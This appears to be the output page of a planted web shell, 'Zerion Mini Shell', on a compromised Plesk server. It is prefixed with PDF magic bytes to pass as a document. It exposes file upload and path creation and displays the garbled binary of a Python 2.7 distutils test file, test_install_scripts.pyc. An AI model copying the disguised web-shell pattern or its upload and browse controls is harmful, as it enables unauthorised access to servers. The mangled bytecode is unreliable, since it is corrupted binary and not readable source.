%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyc

�
5}�ac@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
dejejej
fd��YZd	�Zed
kr�e
e��ndS(s,Tests for distutils.command.install_scripts.i����N(tinstall_scripts(tDistribution(tsupport(trun_unittesttInstallScriptsTestCasecBseZd�Zd�ZRS(cCs�t�}tjdd�|jd<tjdddddd�|jd	<t|�}|j|j�|j|j�|j|j	�|j|j
�|j�|j|j�|j|j�|j
|j	d�|j
|j
d�dS(
Nt
build_scriptss/foo/bartbuildRs/splat/funktforceit
skip_buildtinstall(RRtDummyCommandtcommand_objRtassertFalseRRtassertIsNonet	build_dirtinstall_dirtfinalize_optionst
assertTruetassertEqual(tselftdisttcmd((sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyttest_default_settingss"			
cs�|j��g���fd�}|dd�|dd�|dd�|j�}t�}tjd��|jd	<tjd
|ddd
d�|jd<t|�}|j�|j�tj	|�}x�D]}|j
||�q�WdS(NcsN�j|�ttjj�|�d�}z|j|�Wd|j�XdS(Ntw(tappendtopentostpathtjointwritetclose(tnamettexttf(texpectedtsource(sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pytwrite_script+s

s
script1.pys@#! /usr/bin/env python2.3
# bogus script w/ Python sh-bang
pass
s
script2.pys8#!/usr/bin/python
# bogus script w/ Python sh-bang
pass
sshell.shs1#!/bin/sh
# bogus shell script w/ sh-bang
exit 0
RRRRiRR	(tmkdtempRRR
RRRtrunRtlistdirtassertIn(RR$ttargetRRt	installedR((R"R#sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyttest_installation's&


		


(t__name__t
__module__RR+(((sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyR
s	cCs
tjt�S(N(tunittestt	makeSuiteR(((sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyt
test_suiteNst__main__(t__doc__RR.t!distutils.command.install_scriptsRtdistutils.coreRtdistutils.testsRttest.test_supportRtTempdirManagertLoggingSilencertTestCaseRR0R,(((sM/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_install_scripts.pyt<module>s	?	

Zerion Mini Shell 1.0